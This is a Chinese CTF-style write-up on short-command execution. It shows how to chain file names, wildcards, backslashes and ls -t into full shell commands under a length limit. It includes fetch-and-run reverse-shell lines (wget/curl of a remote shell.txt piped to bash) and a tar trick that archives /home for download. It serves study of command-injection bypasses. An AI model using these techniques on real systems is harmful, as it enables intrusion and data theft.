短命令执行学习 Fay·D·Flourite

短命令执行

要点

这里利用到了linux系统中的几个点

  • >创建文件并可以写入命令等内容,如果是已有文件会删除文件内容重新写入,>>可创建文件或者向已有文件继续写入内容(会换行)。

  • l\s中的\不会阻断命令的执行,而在识别到\前后连起来为可执行命令时可以执行命令。

  • sh从标准输入或者从一个文件中读取命令并执行

  • *Linux通配符,会匹配任意长度文件名,默认匹配当前文件中第一个文件名,单独打出来会将文件名当作命令执行,将后面的文件名作为参数,同时可以用*接文件名首字母或者尾字母匹配对应文件(匹配完成后若单独打出依然是按照第一个文件名当作命令执行,其余文件当作参数) 如下:

  • rev倒转字符串,用于拼凑命令

  • dir和ls作用相同但输出内容是一行而不是ls的很多行

  • 以.开头的文件为隐藏文件,ls -a可以查看,dir或者ls普通排序不会显示出来,可以方便*去执行命令。

整个过程为创建所需名称的文件,写入到一个文件中并执行。所以重点就在于拼接所需命令的顺序,如下为Linux文件的排序:

反弹shell方式

这里也学到了新的弹shell技巧,直接把脚本放在远程服务器上,用curl或者wget远程加载并执行,达到反弹shell的目的

wget http://x.x.x.x/shell.txt bash
curl http://x.x.x.x/shell.txt bash

(后面不一定是bash,shell是用的bash就用bash,用python写的就用python)

构造

网上有很多构造方式,这个师傅写了很多方式我觉得还挺值得学习,也是感谢这位师傅https://www.jianshu.com/p/5aad993c793e

里面有位师傅直接通过tar打包方式直接将/home目录打包然后去下载,属实有刷新我的认知。

root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >tar
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >vcf
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >zzz
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# * /h*

就相当于执行了tar -vcf zzz /h*将整个/home目录下载到zzz中

然后写两个我觉得不错的思路吧。

  • 思路1

来自这个师傅的博客:https://blog.kaibro.tw/2017/11/07/HITCON-CTF%E5%88%9D%E8%B3%BD/

root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >echo
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >.a
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >wg\\
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# *>.a    #执行echo wg\\ >.a
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# rm w*
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >et     #重复上述过程
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# *>>.a
......

通过创建隐藏文件用echo不断写入的方式构造语句,最终写入.a的命令为 wget x.x.x.x/shell.txt 再用bash去执行

特点为简单方便,稍微吃域名的名字,需要后续的写入文件名都至少排在echo文件后面,且只能用wget无法用curl

  • 思路2

基于上面的思路和其他师傅的思路我也想了种不需要特殊域名的方法

root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >echo
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >ls
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >-t
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >\>z
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# ls
 echo   ls   -t  '>z'
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >.a
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# *>.a
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# cat .a
ls -t >z
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# sh .a
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# ls
 echo   ls   -t   z  '>z'
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# cat z
z
>z
-t
ls
echo
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# 

用上面的方式可以创建一个.a的隐藏文件,内容为ls -t >z,然后rm删除其他未隐藏文件

注意这里-t文件在5个字符的限制内删除不了,但是并不影响后面执行命令,因为ls写入是一行一行写入,-t会单独一行,在前面没有\连接的情况下会把-t当作命令而不是参数,不会影响后面的操作 然后继续创建文件

root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >m
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >co\\
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >u.\\
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >id\\
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >ba\\
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >w.\\
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >ww\\
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >\ \\
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >et\\
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# >wg\\
root@iZwz9g9k9upd20uokk3yfbZ:/home/fay/script/test# ls -t
'wg\'  'et\'  ' \'  'ww\'  'w.\'  'ba\'  'id\'  'u.\'  'co\'   m

然后sh .a就可以把命令写入文件z中,再sh z即可。由于是用的ls -t写入,对构造没有什么限制,想怎么写怎么写,注意倒着构造就可。(我这里后面没加bash之类的,师傅们看自己情况加上)

p.s.注意ls写入文件时是一行一行写入的,因此构造空格时必须前面末尾以\结束,空格末尾也要以\结束,否则sh执行时会将两个分开的指令分开执行。 而dir写入时是将整个文件名拼接成一行再输出。这时空格前面就不需要,但注意当写入的为一行时这一行不能包含其他东西,sh执行时会将一行内的所有内容当作命令,稍有不对就不能执行。有兴趣的师傅可以去研究下dir(构造过程虽然麻烦且累但是挺有意思的!)